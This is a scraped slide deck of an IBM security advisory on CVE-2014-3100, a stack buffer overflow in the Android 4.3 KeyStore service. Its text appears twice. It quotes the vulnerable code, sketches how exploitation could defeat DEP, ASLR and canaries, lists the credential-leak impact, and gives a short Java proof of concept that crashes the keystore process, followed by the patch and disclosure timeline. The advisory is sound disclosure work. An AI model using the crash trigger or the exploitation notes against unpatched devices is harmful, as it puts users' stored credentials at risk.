Android KeyStore Stack Buffer Overflow (CVE-2014-3100)
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Stack-based buffer overflow found in the Android KeyStore service. Read the full article here: http://securityintelligence.com/android-keystore-stack-buffer-overflow-to-keep-things-simple-buffers-are-always-larger-than-needed/
![Android KeyStore Stack Buffer Overflow
CVE-2014-3100
Roee Hay & Avi Dayan
{roeeh,avrahamd}@il.ibm.com
June 30, 2014
1 The KeyStore Service
Android provides a secure storage service implemented by /system/bin/keystore. In the past, this service
was accessible to other applications using a UNIX socket daemon found under /dev/socket/keystore,
however, nowadays it is accessible by the Binder interface.
Each Android user receives its own secure storage area. Blobs are encrypted with AES using a master
key which is random and is encrypted on disk using a key that is derived from a password (the lock screen
credentials) by the PKCS5_PBKDF2_HMAC_SHA1 function.
In recent Android versions, credentials (such as RSA private keys) can be hardware-backed. This basically
means that the keystore keys only serve as identifiers for the real keys backed by the hardware. Despite the
hardware support, some credentials, such as VPN PPTP credentials, are still stored (encrypted) on disk.
Figure 1 best illustrates the operation of the KeyStore service. More internals of the KeyStore service are
available online ([1, 2, 4, 3, 5]).
Figure 1: The KeyStore Service
1](https://image.slidesharecdn.com/android-keystore-stack-buffer-overflow-140623084546-phpapp01/85/androidkeystorestack-buffer-overflow-cve20143100-1-320.jpg?cb=1404118533)
![2 Simplicity
According to a comment in the source code (keystore.c), KeyStore was created with simplicity in mind:
/* KeyStore is a secured storage for key-value pairs. In this implementation,
* each file stores one key-value pair. Keys are encoded in file names, and
* values are encrypted with checksums. The encryption key is protected by a
* user-defined password. To keep things simple, buffers are always larger than
* the maximum space we needed, so boundary checks on buffers are omitted.*/
The code is indeed simple, but buffers are not always larger than the maximum space they needed.
3 Vulnerability
A stack buffer is created by the KeyStore::getKeyForName method.
1 ResponseCode getKeyForName(
2 Blob* keyBlob ,
3 const android :: String8& keyName ,
4 const uid_t uid ,
5 const BlobType type)
6 {
7 char filename[NAME_MAX ];
8 encode_key_for_uid (filename , uid , keyName );
9 ...
10 }
This function has several callers which are accessible by external applications using the Binder inter-
face (e.g. int32_t android::KeyStoreProxy::get(const String16& name, uint8_t** item, size_t*
itemLength)). Therefore the keyName variable can be controllable with an arbitrary size by a malicious
application.
As it can be seen, the encode_key routine which is called by encode_key_for_uid can overflow the
filename buffer since bounds checking is absent:
1 static int encode_key_for_uid (
2 char* out ,
3 uid_t uid ,
4 const android :: String8& keyName)
5 {
6 int n = snprintf(out , NAME_MAX , "%u_", uid);
7 out += n;
8 return n + encode_key(out , keyName );
9 }
10
11 static int encode_key(
12 char* out ,
13 const android :: String8& keyName)
14 {
15 const uint8_t* in = reinterpret_cast <const uint8_t *>( keyName.string ());
16 size_t length = keyName.length ();
17 for (int i = length; i > 0; --i, ++in , ++out) {
18 if (*in < ’0’ || *in > ’~’) {
19 *out = ’+’ + (*in >> 6);
2]()
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Android KeyStore Stack Buffer Overflow (CVE-2014-3100)
- 1. Android KeyStore Stack Buffer Overflow CVE-2014-3100 Roee Hay & Avi Dayan {roeeh,avrahamd}@il.ibm.com June 30, 2014 1 The KeyStore Service Android provides a secure storage service implemented by /system/bin/keystore. In the past, this service was accessible to other applications using a UNIX socket daemon found under /dev/socket/keystore, however, nowadays it is accessible by the Binder interface. Each Android user receives its own secure storage area. Blobs are encrypted with AES using a master key which is random and is encrypted on disk using a key that is derived from a password (the lock screen credentials) by the PKCS5_PBKDF2_HMAC_SHA1 function. In recent Android versions, credentials (such as RSA private keys) can be hardware-backed. This basically means that the keystore keys only serve as identifiers for the real keys backed by the hardware. Despite the hardware support, some credentials, such as VPN PPTP credentials, are still stored (encrypted) on disk. Figure 1 best illustrates the operation of the KeyStore service. More internals of the KeyStore service are available online ([1, 2, 4, 3, 5]). Figure 1: The KeyStore Service 1
- 2. 2 Simplicity According to a comment in the source code (keystore.c), KeyStore was created with simplicity in mind: /* KeyStore is a secured storage for key-value pairs. In this implementation, * each file stores one key-value pair. Keys are encoded in file names, and * values are encrypted with checksums. The encryption key is protected by a * user-defined password. To keep things simple, buffers are always larger than * the maximum space we needed, so boundary checks on buffers are omitted.*/ The code is indeed simple, but buffers are not always larger than the maximum space they needed. 3 Vulnerability A stack buffer is created by the KeyStore::getKeyForName method. 1 ResponseCode getKeyForName( 2 Blob* keyBlob , 3 const android :: String8& keyName , 4 const uid_t uid , 5 const BlobType type) 6 { 7 char filename[NAME_MAX ]; 8 encode_key_for_uid (filename , uid , keyName ); 9 ... 10 } This function has several callers which are accessible by external applications using the Binder inter- face (e.g. int32_t android::KeyStoreProxy::get(const String16& name, uint8_t** item, size_t* itemLength)). Therefore the keyName variable can be controllable with an arbitrary size by a malicious application. As it can be seen, the encode_key routine which is called by encode_key_for_uid can overflow the filename buffer since bounds checking is absent: 1 static int encode_key_for_uid ( 2 char* out , 3 uid_t uid , 4 const android :: String8& keyName) 5 { 6 int n = snprintf(out , NAME_MAX , "%u_", uid); 7 out += n; 8 return n + encode_key(out , keyName ); 9 } 10 11 static int encode_key( 12 char* out , 13 const android :: String8& keyName) 14 { 15 const uint8_t* in = reinterpret_cast <const uint8_t *>( keyName.string ()); 16 size_t length = keyName.length (); 17 for (int i = length; i > 0; --i, ++in , ++out) { 18 if (*in < ’0’ || *in > ’~’) { 19 *out = ’+’ + (*in >> 6); 2
- 3. 20 *++ out = ’0’ + (*in & 0x3F); 21 ++ length; 22 } else { 23 *out = *in; 24 } 25 } 26 *out = ’0’; 27 return length; 28 } 4 Exploitation Exploiting this vulnerability can be done by a malicious application, however a working exploit needs to overcome a combination of obstacles: 1. Data Execution Prevention (DEP). This can be done by Return-Oriented Programming (ROP) pay- loads. 2. Address Space Layout Randomization (ASLR). 3. Stack Canaries. 4. Encoding. Characters below 0x30 (’0’) or above 0x7e (’˜’) are encoded before been written on the buffer. The Android KeyStore service is, however, respawned every time it terminates. This behavior enables a probabilistic approach. Moreover, the attacker may even theoretically abuse ASLR to defeat the encoding. 5 Impact Successfully exploiting this vulnerability leads to a malicious code execution under the keystore process. Such code can: 1. Leak the device’s lock credentials. Since the master key is derived by the lock credentials , whenever the device is unlocked, Android::KeyStoreProxy::password is called with the credentials. 2. Leak decrypted master keys, data, and hardware-backed key identifiers from the memory. 3. Leak encrypted master keys, data and hardware-backed key identifiers from the disk for an offline attack. 4. Interact with the hardware-backed storage and perform crypto operations (e.g. arbitrary data signing) on behalf of the user. 6 Proof-of-concept The vulnerability can be triggered with the following Java code: 3
- 4. 1 Class keystore = Class.forName (" android.security.KeyStore "); 2 Method mGetInstance = keystore.getMethod (" getInstance "); 3 Method mGet = keystore.getMethod ("get", String.class ); 4 Object instance = mGetInstance.invoke(null );inf 5 mGet.invoke(instance , 6 " aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa "+ 7 " aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa "+ 8 " aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa "+ 9 " aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa "+ 10 " aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa "+ 11 " aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa "+ 12 " aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa "); Running this code crashes the KeyStore process: F/libc ( 2091): Fatal signal 11 (SIGSEGV) at 0x61616155 (code =1), thread 2091 (keystore) I/DEBUG ( 949): *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** I/DEBUG ( 949): Build fingerprint: ’generic_x86/sdk_x86/generic_x86 :4.3/ JSS15 J/eng.android -build .20130801.155736: eng/test -keys ’ I/DEBUG ( 949): Revision: ’0’ I/DEBUG ( 949): pid: 2091, tid: 2091, name: keystore >>> /system/bin/keystore <<< I/DEBUG ( 949): signal 11 (SIGSEGV), code 1 (SEGV_MAPERR), fault addr 61616155 I/DEBUG ( 949): eax 61616161 ebx b7779e94 ecx bff85ed0 edx b777a030 I/DEBUG ( 949): esi b82a78a0 edi 000003 e8 I/DEBUG ( 949): xcs 00000073 xds 0000007b xes 0000007b xfs 00000000 xss 0000007b I/DEBUG ( 949): eip b7774937 ebp 61616161 esp bff85d20 flags 00010202 I/DEBUG ( 949): I/DEBUG ( 949): backtrace: I/DEBUG ( 949): #00 pc 0000 c937 /system/bin/keystore (KeyStore :: getKeyForName(Blob*, android :: String8 const&, unsigned int , BlobType )+695) I/DEBUG ( 949): I/DEBUG ( 949): stack: I/DEBUG ( 949): bff85ce0 00000000 ... I/DEBUG ( 949): bff85d48 00000007 I/DEBUG ( 949): bff85d4c bff85ed0 [stack] I/DEBUG ( 949): bff85d50 bff8e1bc [stack] I/DEBUG ( 949): bff85d54 b77765a3 /system/bin/keystore I/DEBUG ( 949): bff85d58 b7776419 /system/bin/keystore I/DEBUG ( 949): bff85d5c bff85ed4 [stack] I/DEBUG ( 949): ........ ........ I/DEBUG ( 949): I/DEBUG ( 949): memory map around fault addr 61616155: I/DEBUG ( 949): (no map below) I/DEBUG ( 949): (no map for address) I/DEBUG ( 949): b72ba000 -b73b8000 r-- /dev/binder 4
- 5. 7 Patch The function getKeyForName no longer uses a C-style string to store the filename. In addition, it calls getKeyNameForUidWithDir instead of encode_key_for_uid to generate the encoded key name. The former properly calculates the length of the encoded key. 1 ResponseCode getKeyForName(Blob* keyBlob , const android :: String8& keyName , const uid_t uid , 2 const BlobType type) { 3 android :: String8 filepath8( getKeyNameForUidWithDir (keyName , uid )); 4 ... 5 6 } 7 android :: String8 getKeyNameForUidWithDir (const android :: String8& keyName , uid_t uid) { 8 char encoded[ encode_key_length (keyName) + 1]; // add 1 for null char 9 encode_key(encoded , keyName ); 10 return android :: String8 :: format ("%s/%u_%s", getUserState(uid)->getUserDirName (), uid , 11 encoded ); 12 } 8 Vulnerable Versions Android 4.3. 9 Non-vulnerable Versions Android 4.4. 10 Disclosure Timeline 06/23/2014 Public disclosure. 11/11/2013 Fix confirmed by Android Security Team. 10/22/2013 Updates requested from Android Security Team. 09/09/2013 Vulnerability acknowledged by Android Security Team. 09/09/2013 Private disclosure to Android Security Team. 11 Identifiers CVE-2014-3100 ANDROID-10676015 12 Acknowledgment We would like to thank Android Security Team for the efficient way in which they handled this security vulnerability. 5
- 6. References [1] Nikolay Elenkov. Android Explorations: ICS Credential Storage Implementation, 11 2011. http:// nelenkov.blogspot.co.il/2011/11/ics-credential-storage-implementation.html. [2] Nikolay Elenkov. Android Explorations: ICS Credential Storage Implementation, Part 2, 12 2011. http: //nelenkov.blogspot.com/2011/12/ics-credential-storage-implementation.html. [3] Nikolay Elenkov. Android Explorations: Jelly Bean hardware-backed credential storage, 7 2012. http: //nelenkov.blogspot.com/2012/07/jelly-bean-hardware-backed-credential.html. [4] Nikolay Elenkov. Android Explorations: Storing application secrets in Android’s credential storage, 5 2012. http://nelenkov.blogspot.com/2012/05/storing-application-secrets-in-androids. html. [5] Nikolay Elenkov. Android Explorations: Credential storage enhancements in Android 4.3, 8 2013. http: //nelenkov.blogspot.com/2013/08/credential-storage-enhancements-android-43.html. 6